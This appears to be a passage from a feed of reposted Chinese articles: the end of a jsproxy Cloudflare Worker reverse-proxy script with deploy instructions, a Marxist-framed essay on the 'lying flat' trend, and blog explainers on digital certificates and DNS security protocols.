urlObj.protocol = 'https:'
return makeRes('', 301, {
'strict-transport-security': 'max-age=99999999; includeSubDomains; preload',
'location': urlObj.href,
})
}
if (path.startsWith('/http/')) {
return httpHandler(req, path.substr(6))
}
switch (path) {
case '/http':
return makeRes('请更新 cfworker 到最新版本!')
case '/ws':
return makeRes('not support', 400)
case '/works':
return makeRes('it works')
default:
// static files
return fetch(ASSET_URL + path)
}
}
/**
* @param {Request} req
* @param {string} pathname
*/
function httpHandler(req, pathname) {
const reqHdrRaw = req.headers
if (reqHdrRaw.has('x-jsproxy')) {
return Response.error()
}
// preflight
if (req.method === 'OPTIONS' &&
reqHdrRaw.has('access-control-request-headers')
) {
return new Response(null, PREFLIGHT_INIT)
}
let acehOld = false
let rawSvr = ''
let rawLen = ''
let rawEtag = ''
const reqHdrNew = new Headers(reqHdrRaw)
reqHdrNew.set('x-jsproxy', '1')
// 此处逻辑和 http-dec-req-hdr.lua 大致相同
// https://github.com/EtherDream/jsproxy/blob/master/lua/http-dec-req-hdr.lua
const refer = reqHdrNew.get('referer')
const query = refer.substr(refer.indexOf('?') + 1)
if (!query) {
return makeRes('missing params', 403)
}
const param = new URLSearchParams(query)
for (const [k, v] of Object.entries(param)) {
if (k.substr(0, 2) === '--') {
// 系统信息
switch (k.substr(2)) {
case 'aceh':
acehOld = true
break
case 'raw-info':
[rawSvr, rawLen, rawEtag] = v.split('|')
break
}
} else {
// 还原 HTTP 请求头
if (v) {
reqHdrNew.set(k, v)
} else {
reqHdrNew.delete(k)
}
}
}
if (!param.has('referer')) {
reqHdrNew.delete('referer')
}
// cfworker 会把路径中的 `//` 合并成 `/`
const urlStr = pathname.replace(/^(https?):\/+/, '$1://')
const urlObj = newUrl(urlStr)
if (!urlObj) {
return makeRes('invalid proxy url: ' + urlStr, 403)
}
/** @type {RequestInit} */
const reqInit = {
method: req.method,
headers: reqHdrNew,
redirect: 'manual',
}
if (req.method === 'POST') {
reqInit.body = req.body
}
return proxy(urlObj, reqInit, acehOld, rawLen, 0)
}
/**
*
* @param {URL} urlObj
* @param {RequestInit} reqInit
* @param {number} retryTimes
*/
async function proxy(urlObj, reqInit, acehOld, rawLen, retryTimes) {
const res = await fetch(urlObj.href, reqInit)
const resHdrOld = res.headers
const resHdrNew = new Headers(resHdrOld)
let expose = '*'
for (const [k, v] of resHdrOld.entries()) {
if (k === 'access-control-allow-origin' ||
k === 'access-control-expose-headers' ||
k === 'location' ||
k === 'set-cookie'
) {
const x = '--' + k
resHdrNew.set(x, v)
if (acehOld) {
expose = expose + ',' + x
}
resHdrNew.delete(k)
}
else if (acehOld &&
k !== 'cache-control' &&
k !== 'content-language' &&
k !== 'content-type' &&
k !== 'expires' &&
k !== 'last-modified' &&
k !== 'pragma'
) {
expose = expose + ',' + k
}
}
if (acehOld) {
expose = expose + ',--s'
resHdrNew.set('--t', '1')
}
// verify
if (rawLen) {
const newLen = resHdrOld.get('content-length') || ''
const badLen = (rawLen !== newLen)
if (badLen) {
if (retryTimes < MAX_RETRY) {
urlObj = await parseYtVideoRedir(urlObj, newLen, res)
if (urlObj) {
return proxy(urlObj, reqInit, acehOld, rawLen, retryTimes + 1)
}
}
return makeRes(res.body, 400, {
'--error': `bad len: ${newLen}, except: ${rawLen}`,
'access-control-expose-headers': '--error',
})
}
if (retryTimes > 1) {
resHdrNew.set('--retry', retryTimes)
}
}
let status = res.status
resHdrNew.set('access-control-expose-headers', expose)
resHdrNew.set('access-control-allow-origin', '*')
resHdrNew.set('--s', status)
resHdrNew.set('--ver', JS_VER)
resHdrNew.delete('content-security-policy')
resHdrNew.delete('content-security-policy-report-only')
resHdrNew.delete('clear-site-data')
if (status === 301 ||
status === 302 ||
status === 303 ||
status === 307 ||
status === 308
) {
status = status + 10
}
return new Response(res.body, {
status,
headers: resHdrNew,
})
}
/**
* @param {URL} urlObj
*/
function isYtUrl(urlObj) {
return (
urlObj.host.endsWith('.googlevideo.com') &&
urlObj.pathname.startsWith('/videoplayback')
)
}
/**
* @param {URL} urlObj
* @param {number} newLen
* @param {Response} res
*/
async function parseYtVideoRedir(urlObj, newLen, res) {
if (newLen > 2000) {
return null
}
if (!isYtUrl(urlObj)) {
return null
}
try {
const data = await res.text()
urlObj = new URL(data)
} catch (err) {
return null
}
if (!isYtUrl(urlObj)) {
return null
}
return urlObj
}
点击保存并部署即可。
点击这里即可访问你搭建的反向代理网站:
如果你在搭建过程中遇到任何问题, 欢迎在下方的评论区里留言.
本文转自:https://www.zhihu.com/question/460776718/answer/1911149556
什么是当前社会语境下的“躺平”,我个人的理解就是日趋觉醒的(狭义范围内的)打工人和(广义范围内的)被压榨阶级,开始用摸鱼划水“反杀”资本群体、用佛系工作态度“反向剥削”剥削阶级、用放弃理想“回怼”满身爹味的既得利益集团。
正如一个很自嘲的段子:“只要我在工作时间偷懒,这种既不干活又能拿工钱的行为,不也是对老板的剥削吗?”
形势倒逼至此,已是矛盾迫近临界之态。
很多油头粉面的食肉者忍不住指责或阴阳怪气的内涵当代年轻人:“不热爱劳动、不热爱奋斗!”
这真的是对青年群体最恶毒的污蔑了,必须首先讨论清楚劳动的问题。
马克思认为,“劳动本身是一种自由自觉的实践活动,人之所以为人,而非动物,很重要的一点就在于有自觉性的劳动,这是人的本质属性之一。”
劳动是无罪的,乃至是光荣的,我们无产阶级甚至还有自己专门的节日:五一劳动节。
在过去的苏联和改开之前的中国,劳动节的重要性不亚于国庆节,庆贺游行的规模盛大异常,因为这是属于国家的主人——工农阶级的政治节日。
曾经的五一劳动节,天安门除了城楼正中悬挂毛主席画像,广场的东侧还会摆放马克思和恩格斯的画像,广场的西侧会摆放列宁和斯大林的画像。
这彰示着国家的政权属性与人民主体的地位。
劳动人民是光荣的,劳动人民也是最受到各领域尊重和爱护的。
劳动,就是工农阶级的本色,也是新中国“权力为谁服务”的导向。
幻想不劳而获、拒绝劳动的人或心理,不仅会被社会性的群体生产所排斥,同时压根也会被自我所排斥。
因为任何一个心智健全的人都必须在劳动中寻找自我价值,除非他不是个正常人,比如初生的婴儿或神志不清的智力障碍人士等等,没有自我价值意识,也就没有劳动欲望。
一些民间俚话,所谓的“闲不住”“待不住”“操不完的心”“一辈子都是累命”……就是这个道理。
所以,指责“不爱劳动、不爱奋斗”,肯定首先从人的社会属性层面就说不通。
遁身于群体之中的个体,其贡献生产力一定是自发自觉的,这不以人的意志为转移。
那么问题就来了:明明人人爱劳动、人人需要劳动,怎么今天的打工人们却自发地要躺平了呢?
这在于一个本质是关乎于集体价值判断的问题:资本主义价值观的事实到来和统治,已经大大地破坏并扫除了一切单纯欲望的本源。
资本,会使劳动发生「异化」,它会将“追求自我价值的实现”变为“贡献剩余价值的聚集”。
如马克思所言:“劳动的异化性质明显的表现是:只要肉体的强制或其他强制一旦停止,人们就会像逃避鼠疫那样逃避劳动。异化的劳动,仅仅是为了生存的牺牲与折磨。”
这就是资本家“996是福报”、“奋斗理所应当”洗脑恶论的来源。
昨夜,共青团中央官博迫于某些压力,不得不亲自下场就“躺平”发声。它的意图很明显:想爹味十足地教育一番年轻人,扭转一下舆论被动局面。
然而,不出意料地评论区翻了车:
可以看看共青团的这幅海报,它列举的都是什么人:救灾救难的人民子弟兵,风雨无阻的边防戍边战士,舍生忘死的一线抗疫英雄——这些人都有什么共同点?
他们是为集体而拼搏、为人民大众而献身、为最广泛的国家利益而奋斗!
这就牵扯出了一个讨论、也是年轻人纷纷躺平的根源性缘由:我们是在为谁奋斗?是为包括自己在内的国家集体,还是为了某一个两个的资本家?
前者,叫做“劳动人民身先士卒当家作主”;后者,叫做“被剥削阶层甘为奴役甘为仆狗”。
所谓“宁当国家一颗螺丝钉,不做资本家的一株韭”。
观察者网马前卒曾有鼓吹:“拒绝加班,无产阶级就和先进生产力分离了”、“无产阶级如果不对自己狠一点,是没有未来的!”
这种论调的错误在于,它偷换乃至隐藏了“剥削剩余价值”的概念。
说白了就是:无产阶级所谓的“对自己狠一点”,这种“狠一点”所额外创造的利润,归了谁?
是归了身心俱疲(某些肝病肾病现在在996白领阶层中越来越低龄化)的自己,还是归了端坐塔尖、每天只靠着剪息票就能每秒钟净入百万的资本持有人?
那些财阀大佬,在今天已有一个挥之不去的特征:早已不需要参与劳动,仅仅依靠资本增殖(吃利息、投资分红)就能保持巨额财富的时时增长。
也就是卢梭说的:“一个巨人与一个矮子在同一条道路上行走,他们每走一步都会使巨人拉大他与矮子之间的距离”。
你被人勒令“拼命奋斗”,可是你在为谁奋斗?
年轻人自我标榜“躺平”,这实为一种无奈。
正如如果没有“骑手质疑饿了么变相降加班奖励”、“饿了么被曝为留骑手过春节而画大饼”、“外卖员吐槽1000元订单配送费仅5元”、“饿了么猝死员工被爆每天被扣3元”…诸如此类种种的极端压缩成本、拔高强榨剩余价值的行为,会有今年2月份饿了么骑手们的全国性大罢工吗?他们会去停止劳动、停止生产吗?
你若问饿了么为什么不多招点人、不停止众包模式而完善劳资关系(匹配所有的险金社保)?
人家资本家面对这种问题,估计能翻你一天一夜的白眼。
过去不久的货拉拉事件同理,你质问货拉拉平台为何不安装摄像头、不提高安全维护成本,货拉拉大boss估计要被逗乐:“还不如等到死了人,我届时再赔个钱划算呢!”
此前的滴滴顺风车莫不如此。
包括汽车巨头福特公司,曾经有过内部计算,没有投入安全设备的话,公司因为赔偿事故遇难的损失为49.5 million,而投入安全设备、修复安全隐患的总成本则为$137 million——资本果断选择了前者。
同理,饿了么同样不会“傻了吧唧”地多招骑手、多发奖金、多缴社保,它必须把骑手数量控制在一个“合理”的区间,既能让骑手不得不疯狂闯红灯,又能让闯红灯带来的死人风险被降到一个资本可接受的赔偿范围,最终实现GMV和利润的最大化。
大不了,还可以发明一个“请消费者宽容骑手”的戏码,发动无产阶级斗无产阶级,而资本则立于不败之地、两头坐收渔利。
如此局面下,被逼到悬崖边走投无路的骑手们,凭什么不能罢工?凭什么不能“躺平”?
躺平,有错乎?
昨夜共青团“教育无果”并被迫关闭评论区之后,今天又弄了个“补救措施”,继续想运用偷换概念的招数为“镇压躺平”站台:
我看到这一幕倒是内心毫无波澜,因为这一招率先玩出来的是谁?是他共青团中央等官媒吗?当然不。
不是别人,正是996福报论的发明者,马云。
早在2018年时,马云先生就创物垂范地为社会贡献了“996是福报”的伟大理论,从此辩论激荡绵延至今不止。
甚至马云先生自己都已经在人生滑铁卢中思考过往,某些人士依旧拿这位“马粑粑”的言论当做真理,乐此不疲地洗脑青年一代。
昨天共青团中央把钱学森等共和国国士大家搬出来的行为,和三年前的马云别无二致:直接把“国家”摆上辩论台,意图用政治正确来打压打工人:“两弹一星、核潜艇都是科学家们用996干出来的,你们这些年轻人还有不努力的理由?”
这叫杀人不见血。
用资本主义的剥削伦理去解构和解释毛主席时代的建设,这体现了一种无与伦比的统治高位的优越感,以及曲解、利用、无害化毛主席的极端卑劣。
两弹一星、核潜艇、大寨、杂交水稻,这些确实是无产阶级科学家和最广大工农与劳动人民群众用貌似996模式干出来的成就——但是!这些成就,造福的是谁?
是全体中华民族的国运福祉,它永葆了中国的边境安宁和外交地位的抬升。
毛主席时代的“打工人”们,所创造的“剩余价值”都交给了国家,以“全民所有制”的形式储存下来,这是同今天的互联网财阀们最大之区别所在。
只不过到了90年代末期,一夜之间的私有化又使得众多公立的矿山、煤田、汽车厂被以白菜价卖给民企和外资,连祖辈们的养老金都要现在的工作者来支付。
推荐阅读:鸡架席卷沈阳的暗面:一九九八,工人下岗
今时今日,抱着一堆资本主义的理儿到处灌输鸡汤的资本家们所提倡的996,利润收纳的方向仅仅是私家的公司与身价而已。
这是私有制语境里的付出收益论。
用私有制逻辑,去套述毛泽东那一代领导人、带领全国人民勒紧裤腰带的奋斗岁月,这是对社会主义公有制、对艰苦年代里那些奉献青春不求回报的无产阶级革命家的乐观主义精神最卑鄙的侮辱。
侮辱一个制度的目的,是为了美化和粉饰另一个制度;正如消除自己对一个制度的恐惧,是为了助长自己对鼓吹另一个制度的勇气。
躺平的表象是一种自暴自弃,但深源则是困于阶级固化的无力感。
我微博有粉丝的这样一条评论:
这种想法,实质与前文提到的马前卒的论调是极为相似的,都是理想主义的想当然所思。
现今,「垄断」的作用,难道看不见吗?
现在真要聚集一伙人,也开发一个外卖app(这不是什么难事),那结果只能是:你还没占领1/5你所在小城市的市场、日活量还没达到百人,现有的巨头财阀就会闻着味儿一手胡萝卜一手狼牙棒得来找你谈判了——“兄弟,要么我收购你,要么我大量发行代金券玩死你,你选一个吧!”
无产阶级拿什么和巨头斗?人家打价格战,人家打得起,你打得起吗?菜农们是怎么被社区团购那帮财阀给玩死的,还不清楚吗?
现在有多少小公司创业者的人生目标已经极为简单,就是被阿里腾讯收购、成为阿里腾讯附庸。
你还让无产阶级自己去开发生产力,怎么开发?
不准人家抱怨“蛋糕分不到手里”,还命令人家“有本事自己去做蛋糕啊”,可是做蛋糕的奶油、模具全都已掌握在巨头手里,你要么放弃,要么归降。
一没罢工权,二没扩张权,拿什么斗?
正因如此,某些「奋斗B」乐于跪在资本家膝下鼓吹的“你讨厌996你可以辞职啊”,这种言论完全是无解的,连初中的教科书都给出过答案:
“工人看似有签订契约的自由,但是他们不受雇于这个资本家,就得受雇于那个资本家,饥饿的威胁使他们无法摆脱被资本家雇佣、受资本家剥削和压榨的命运。在资本家占有生产资料的条件下,所谓雇佣双方的契约自由,对于工人来说,是徒有虚名的。”
“打工人”为什么会在2020年爆梗?疫情的空前打击不可忽视,中国从去年春季迎来了近年最庞大的一波企业倒闭潮和工人失业潮,更有“最苦应届毕业生”的段子流传。
这正应了马克思的话:“以前的中间等级的下层,即小工业家、小商人和小食利者,手工业者和农民——所有这些阶级,都降落到无产阶级的队伍里来了。”
僧多粥少,挤压了打工者群体就业空间的同时,也给予了资本加大剥削和“择怂录用”的底气。
至于这帮肆意兼并的垄断巨头是怎么产生的,这我就不多说了,说了估计炸号……就如同讨论罢工权和游行权是怎么、又是为什么在80年代被取消的一样……
五年前,外卖app是科技前卒;五年后,外卖功能竟然还是它的主业——用来为其金融信贷聚集用户的主业,这已经说明其科技性在下降了。
布雷弗曼说过:“技术的进步非但没有改变无产阶级的命运,反而成为了限制无产阶级的新枷锁。”
所以即便不说阶级情感,就是从生产力角度,「垄断」这种巨头形态应该被抛弃和消灭。
否则,就永远会造成“打工人必须匍匐在资本家胯下奋斗”、“不奋斗就没有未来”这种看似挺有道理、实际完全是颠倒社会主义分配原则的就业生态。
曾在微博见有一著名油腻食肉者的“镇压躺平”言论:
年轻时好好忍着被剥削,这样待到年老油腻时就可以去剥削别人了?
即:安心做一个被剥削者的目的,是为了有朝一日可以去当一个剥削者?
老老实实地“躺平”,就可以自然而然地“躺赢”吗?
这种思维,其实就是“吃得苦中苦,方为人上人”这句改开之后极其政治正确的话。
“人上人”,人身之上亦有他人,这便构筑了一个阶级分明的压迫体系:
在这样的油腻小脑中,这种阶级分明的社会状态是非常光伟正的。
正如所言“20来岁有个屁的剩余价值”这种直接把“价值”与“剩余价值”偷换概念的蛮语,用意自然是为了叫嚷“加班无罪”、“跪舔有理”,进而对“躺平”进行镇压和肃反。
恐怕1886年芝加哥大罢工之前,工人每天劳作15个小时以上这种情况,在食肉者眼里皆是“正确”的、“合理”的。
且不说这种观点完全是反人道,也是反社会主义、反我国宪法精神、反共和国性质的——就说其具有之相当程度的欺骗性和阴谋性:它直接隐藏了一个事实:你今天苦忍着被剥削、苦忍着打在身上的皮鞭,真的有朝一日你就可以成为手拿皮鞭的持鞭人吗?你今天点头哈腰得“吃得苦中苦”,真的有一天你就可以成为獠牙翻覆的“人上人”吗?
列宁导师在20世纪初就提出了一个概念:“食利阶层”:“资本主义的腐朽表现在以‘剪息票’为生的资本家这一庞大食利者阶层的形成。英、美、法、德四个先进帝国主义国家各拥有1000—1500亿法郎的有价证券资本,就是说,各国每年的收入都不少于50—80亿法郎。”
而迈克尔·桑德尔在公开课《公正》中则表达的更具象:“当今社会是一场高级经理人和食利者之间的赛跑,最终受损者则是在旁观赛的普通大众。”
那么什么是“高级经理人”?
列宁指出:食利阶层往往会拿出一部分利润收买无产阶级中的精英分子,使他们“资产阶级化”,成为资产阶级在无产阶级中的“代理人”。
这就是我们所说的“工贼”:
常见于今天体制内的中层油腻小老头,和体制外市场中的财阀中层领导、中小企业老板,以及一大堆精神资本家。
这些人往往会在既得利益的体系中由于异常会舔(今天的话术叫做情商高、眼头活、会来事;本质则是比较擅于抛弃自己原本的阶级属性)而得到一丝丝高于底层工农的甜头。
于是他们便会摇身一变、为身处的既得利益体系以及这份体系事实上真正的顶层吸益人,大肆摇旗呐喊、奔走鼓吹——仿佛自己也是这个体系的顶端话事人一般,而忽略了自己其实也是一个被剥削者、也有太多需要去点头哈腰的时刻的事实——不论是体制内的权力程序,还是体制外的市场程序。
正如许多小企业主,平时对员工颐指气使、鼓吹966奋斗论,却忘了自己完全也是市场语境下的被剥削者、在公司背后的投资人面前也得装孙子的现实。
还是鲁迅先生警示被压榨的年轻人警示得好哇:“做奴隶虽然不幸,但并不可怕,因为知道挣扎,毕竟还有挣脱的希望;若是从奴隶生活中寻出美来,赞叹、陶醉,就是万劫不复的奴才了!”
附一段【毛泽东警卫员李银桥 回忆录片段】
毛主席转身,终于望住我:“你是哪里人呢?”
“河北省安平县。”
“父母干什么呢?”
“我父亲种地拉脚,农闲倒腾点粮食买卖;母亲操持家务,农忙时节也下地。”
“我们的家庭很相像嘛。你喜欢父亲还是喜欢母亲?”
“喜欢母亲。我父亲脑子好,多少账也算不糊涂。可是脾气大,爱喝酒,吃饭他单独吃,他吃饼子我们啃窝头,稍不如意就打人。我母亲心善,对人好,我喜欢母亲。”
“越说越一致了嘛。你母亲一定信佛。”
“主席您怎么知道?”
“你说她心善,出家人慈悲为怀。”
我目瞪口呆。听惯了政治课,我没想到毛主席会说出这样的话。同时,我又感到与主席突然近了,紧张和拘束消失许多。我小声问:“主席,您母亲也信佛吗?”
“我也喜欢母亲。她也信佛,心地善良。小时候我还跟她一起去庙里烧过香呢。后来我不信了。你磕多少头,中国也强不起来,人民还是受苦。”
主席顿一顿,“磕头不如造反!”
……………
“人人生而平等”这句话有没有问题?没问题,但它必须还有一个配套的下半句,叫做“造反有理”。
也就是毛泽东1939年在延安说的:“马克思主义的道理千条万绪,归根结底就是一句话:‘造反有理’。几千年来总是说压迫有理、剥削有理,而造反无理。自从马克思主义出来,就把这个旧案翻过来了,这是个大功劳,这个道理是无产阶级从斗争中得来的,而马克思作了结论。根据这个道理,于是就反抗,就斗争,就干社会主义。”
没有了“造反有理”这个配套的后缀,“人人生而平等”就成了一句扯淡的空谈,且反而会成为统治阶层洗脑下层的利器,割草都是割得润物无声。
刘建宏曾直言不讳地说过这样一段话:“你说我们是利益既得者吗?我想我们是。我们之前的人相对来说好动摇,他虽然挡在你面前,你稍微动一动,他就让位了。但是后面的人要想让我去让位,不是很容易。这个事我跟(白)岩松探讨过很长时间,我说你看到你后面的威胁了吗?他说真没看到,我说,我也没看到。”
那么此时,羸弱的“草”们所能做的,也就是“躺平”了。
从“丧文化”到“佛系”,从“沙雕”到“打工人”,下游的被压榨群体们在互联网上不断地寻找着共鸣、创造着新词。
或是集体颓唐,或是集体装疯卖傻……总之,他们心里都是很清楚的:活着很苦,苦中作乐得了。
5月初,已然颇具政治危机、社会维稳要务之势的七普数据,在官方此前连续用韩国、日本、美国等国的人口形势来给民众“做足思想准备”之后,终于出炉。
数据显示:年轻人不愿意生孩子了,连带着的还包括婚姻抵触、恋爱抵触、社交抵触。
这又何尝不也是一种“躺平”?
教育成本、购房成本、996剥削、延迟退休……试问拿什么来遏制“躺平”?又有什么理由去指责“躺平”?
很多时候不禁想问:拼多多还要再跳楼几人?马云外滩宣战演讲还要再来几场?十八大之前那帮在舆论场舞动话筒的高校公知教授和直到今天都老而不死的HS一代,以及贾浅浅炫耀权力一般的“屎尿屁文学”,还嫌不够?
底层愈发内卷,高层愈发稳固。
90后们今天无可奈何的“躺平”,难道不是对一百年前同是一群“90后”的革命先辈们用2000万牺牲规模才换来一个社会主义新中国的血泪革命史的一种讽刺吗?
“建立新中国死了多少人,有谁想过这个问题?我是想过的!” ——毛泽东。
“只有群众的革命斗争,才能使工人生活和国家管理真正有所改善。无论有教养的人怎样‘同情’工人,无论单个恐怖分子怎样英勇斗争,都不能摧毁沙皇专制制度和资本家专横势力。只有工人自己起来斗争只有千百万群众共同斗争才能做到这一点——而当这种斗争减弱下去的时候,工人所争得的成果立刻就开始被夺回去。俄国的革命证实了国际歌中的一段歌词:‘从来就没有什么救世主,也不靠神仙皇帝。要创造人类的幸福,全靠我们自己!’” ——列宁。
]]>CID : QmZDzeih6j9GNoYYBhLmszZstDJkHrTwGuUr9vUyzWd7sQ
本文转自:https://program-think.blogspot.com/2010/02/introduce-digital-certificate-and-ca.html
想必大伙儿都听说过介绍信的例子吧?假设 A 公司的张三先生要到 B 公司去拜访,但是 B 公司的所有人都不认识他,他咋办捏?常用的办法是带公司开的一张介绍信,在信中说:兹有张三先生前往贵公司办理业务,请给予接洽......云云。然后在信上敲上A公司的公章。
张三先生到了 B 公司后,把介绍信递给 B 公司的前台李四小姐。李小姐一看介绍信上有 A 公司的公章,而且A公司是经常和 B 公司有业务往来的,这位李小姐就相信张先生不是歹人了。
说到这,爱抬杠的同学会问了:万一公章是伪造的,咋办捏?在此,俺要先声明,在本例子中,先假设公章是难以伪造滴,否则俺的故事没法说下去鸟。
好,回到刚才的话题。如果和 B 公司有业务往来的公司很多,每个公司的公章都不同,那前台就要懂得分辨各种公章,非常滴麻烦。所以,有某个中介公司 C,发现了这个商机。C公司专门开设了一项“代理公章”的业务。
今后,A 公司的业务员去B公司,需要带2个介绍信:
介绍信1
含有 C 公司的公章及 A 公司的公章。并且特地注明:C 公司信任A公司。
介绍信2
仅含有 A 公司的公章,然后写上:兹有张三先生前往贵公司办理业务,请给予接洽......云云。
某些不开窍的同学会问了,这样不是增加麻烦了吗?有啥好处捏?
主要的好处在于,对于接待公司的前台,就不需要记住各个公司的公章分别是啥样子的;他/她只要记住中介公司 C 的公章即可。当他/她拿到两份介绍信之后,先对“介绍信1”的 C 公章,验明正身;确认无误之后,再比对“介绍信1”和“介绍信2”的两个 A 公章是否一致。如果是一样的,那就可以证明“介绍信2”是可以信任的了。
费了不少口水,终于说完了一个俺自认为比较通俗的例子。如果你听到到这儿,还是想不明白这个例子在说啥,那后续的内容,就不必浪费时间听了 😦
下面,俺就着上述的例子,把相关的名词,作一些解释。
“证书”洋文也叫“digital certificate”或“public key certificate”
它是用来证明某某东西确实是某某东西的东西(是不是像绕口令?)。通俗地说,证书就好比例子里面的公章。通过公章,可以证明该介绍信确实是对应的公司发出的。
理论上,人人都可以找个证书工具,自己做一个证书。那如何防止坏人自己制作证书出来骗人捏?请看后续 CA 的介绍。
CA 是“Certificate Authority”的缩写,也叫“证书授权中心”。
它是负责管理和签发证书的第三方机构,就好比例子里面的中介——C 公司。一般来说,CA 必须是所有行业和所有公众都信任的、认可的。因此它必须具有足够的权威性。就好比A、B两公司都必须信任 C 公司,才会找 C 公司作为公章的中介。
CA 证书,顾名思义,就是CA颁发的证书。
前面已经说了,人人都可以找工具制作证书。但是你一个小破孩制作出来的证书是没啥用处的。因为你【不是】权威的 CA 机关,你自己搞的证书不具有权威性。
这就好比上述的例子里,某个坏人自己刻了一个公章,盖到介绍信上。但是别人一看,不是【受信任】的中介公司的公章,就不予理睬。坏蛋的阴谋就不能得逞啦。
文本后续提及的证书,若无特殊说明,均指 CA 证书。
在俺的例子里谈到,引入中介后,业务员要同时带两个介绍信。第一个介绍信包含了两个公章,并注明,公章C信任公章A。证书间的信任关系,就和这个类似。就是用一个证书来证明另一个证书是真实可信滴。
实际上,证书之间的信任关系,是可以嵌套的。比如,C 信任 A1,A1 信任 A2,A2 信任 A3......这个叫做证书的信任链。只要你信任链上的头一个证书,那后续的证书,都是可以信任滴。
“根证书”的洋文叫“root certificate”。为了说清楚根证书是咋回事,再来看个稍微复杂点的例子。
假设 C 证书信任 A 和 B;然后 A 信任 A1 和 A2;B 信任 B1 和 B2。则它们之间,构成如下的一个树形关系(一个倒立的树)。
处于最顶上的树根位置的那个证书,就是“根证书”。除了根证书,其它证书都要依靠上一级的证书,来证明自己。那谁来证明“根证书”可靠捏?实际上,根证书自己证明自己是可靠滴(或者换句话说,根证书是不需要被证明滴)。
聪明的同学此刻应该意识到了:根证书是整个证书体系安全的根本。所以,如果某个证书体系中,根证书出了问题(不再可信了),那么所有被根证书所信任的其它证书,也就不再可信了。这个后果是相当相当滴严重(简直可以说是灾难性的)。
CA 证书的作用有很多,俺为了节省口水,只列出常用的几个。
通常,我们如果访问某些敏感的网页(比如用户登录的页面),其协议都会使用 HTTPS 而不是 HTTP。因为 HTTP 协议是明文的,一旦有坏人在偷窥你的网络通讯,他/她就可以看到网络通讯的内容(比如你的密码、银行帐号、等);而 HTTPS 是加密的协议,可以保证你的传输过程中,坏蛋无法偷窥。
但是,千万【不要】以为,HTTPS 协议有了加密,就可高枕无忧了。俺再举一个例子来说明,光有加密是不够滴。假设有一个坏人,搞了一个假的网银的站点,然后诱骗你上这个站点。假设你又比较单纯,一不留神,就把你的帐号,口令都输入进去了。那这个坏蛋的阴谋就得逞鸟。
为了防止坏人这么干,HTTPS 协议除了有加密的机制,还有一套证书的机制。通过证书来确保,某个站点确实就是某个站点。
有了证书之后,当你的浏览器在访问某个 HTTPS 网站时,会验证该站点上的 CA 证书(类似于验证介绍信的公章)。如果浏览器发现该证书没有问题(证书被某个根证书信任、证书上绑定的域名和该网站的域名一致、证书没有过期),那么页面就直接打开;否则的话,浏览器会给出一个警告,告诉你该网站的证书存在某某问题,是否继续访问该站点?为了形象起见,下面给出 IE 和 Firefox 的抓图:
大多数知名的网站,如果用了 HTTPS 协议,其证书都是可信的(也就不会出现上述警告)。所以,今后你如果上某个知名网站,发现浏览器跳出上述警告,你就要小心啦!
证书除了可以用来验证某个网站,还可以用来验证某个文件是否被篡改。具体是通过证书来制作文件的数字签名。制作数字签名的过程太专业,咱就不说了。后面专门告诉大家如何验证文件的数字签名。考虑到大多数人用 Windows 系统,俺就拿 Windows 的例子来说事儿。
比如,俺手头有一个 Firefox 的安装文件(带有数字签名)。当俺查看该文件的属性,会看到如下的界面。眼神好的同学,会注意到到上面有个“数字签名”的标签页。如果没有出现这个标签页,就说明该文件没有附带数字签名。
选择该标签页,看到如下界面。
顺便说一下,某些数字签名中没有包含“邮件地址”,那么这一项会显示“不可用”;同样的,某些数字签名没有包含“时间戳”,也会显示“不可用”。不要紧张,这里显示的“不可用”跟数字签名的有效性【没关系】。
一般来说,签名列表中,有且仅有一个签名。选中它,点“详细信息”按钮。跳出如下界面:
通常这个界面会显示一行字:“该数字签名正常”(图中红圈标出)。如果有这行字,就说明该文件从出厂到你手里,中途没有被篡改过(是原装滴、是纯洁滴)。
如果该文件被篡改过了(比如,感染了病毒、被注入木马),那么对话框会出现一个警告提示“该数字签名无效”(图中红圈标出)。界面如下:
不论签名是否正常,你都可以点“查看证书”按钮。这时候,会跳出证书的对话框。如下:
从后一个界面,可以看到俺刚才说的证书信任链。图中的信任链有3层:
第1层是根证书(Thawte Premium Server CA)
第2层是 Thawte 专门用来签名的证书
第3层是 Mozilla 自己的证书
目前大多数知名的公司(或组织机构),其发布的可执行文件(比如软件安装包、驱动程序、安全补丁),都带有数字签名。你可以自己去看一下。
建议大伙儿在安装软件之前,都先看看是否有数字签名?如果有,就按照上述步骤验证一把。一旦数字签名是坏的,那可千万别装。
本文转自:https://program-think.blogspot.com/2018/10/Comparison-of-DNS-Protocols.html
俺在写前一篇博文(也就是 Firefox PK Chrome 那篇)的时候,碰巧看到 Mozilla 官方博客提到说:目前最新的 Firefox 62 版本开始支持【DNS over HTTPS】这一特性(链接在“这里”)。
本来想顺便聊一下“DNS over HTTPS”这个玩意儿。但是查了一下,发现它的 RFC 目前还只是【草案】,尚未正式发布。
所以俺就把本文的主题改成:对比4种强化 DNS 安全的网络协议。然后借此机会普及一些信息安全知识。
简而言之,DNS 是用来查询域名的协议。关于它的原理(工作机制),俺已经写过一篇教程(在“这里”),所以今天就不重复浪费口水啦。
另外,如果你是技术菜鸟,在看这篇博文之前,确保你已经【看完】如下这篇:
《计算机网络通讯的【系统性】扫盲——从“基本概念”到“OSI 模型”》
传统的 DNS 是一个【比较古老】的协议。最早的草案可以追溯到1983年。1987年定稿之后,基本上没啥变化。算起来,它的年龄比俺博客的很多读者都要大。
设计 DNS 的时候,互联网基本上还是个玩具。那年头的互联网协议,压根儿都没考虑安全性,DNS 当然也不例外。所以 DNS 的交互过程全都是【明文】滴,既无法做到“保密性”,也无法实现“完整性”。
缺乏“保密性”就意味着——任何一个能【监视】你上网流量的人,都可以【看到】你查询了哪些域名。直接引发的问题就是隐私风险。
缺乏“完整性”就意味着——任何一个能【修改】你上网流量的人,都可以【篡改】你的查询结果。直接引发的问题就是“DNS 欺骗”(也叫“DNS 污染”或“DNS 缓存投毒”)
为了解决传统 DNS 的这些弊端,后来诞生了好几个网络协议,以强化域名系统的安全性。俺挑选其中4个来介绍。除了这4个,其它一些协议的名气和影响力太小,不值一提。
下面俺以出场时间的先后,分别介绍这4个协议。
这玩意儿是“Domain Name System Security Extensions”的缩写。在今天介绍的4个协议中,DNSSEC 是最早诞生的(1997)。从最先的 RFC 2065 进化为 RFC 2535,再到 RFC 4033、RFC 4034、RFC 4035。
在今天介绍的4个协议中,DNSSEC 也是最早大规模部署的。在2010年的时候,所有根域名服务器都已经部署了 DNSSEC。到了2011年,若干顶级域名(.org 和 .com 和 .net 和 .edu)也部署了 DNSSEC。
--------
DNSSEC
--------
UDP
--------
IP
--------
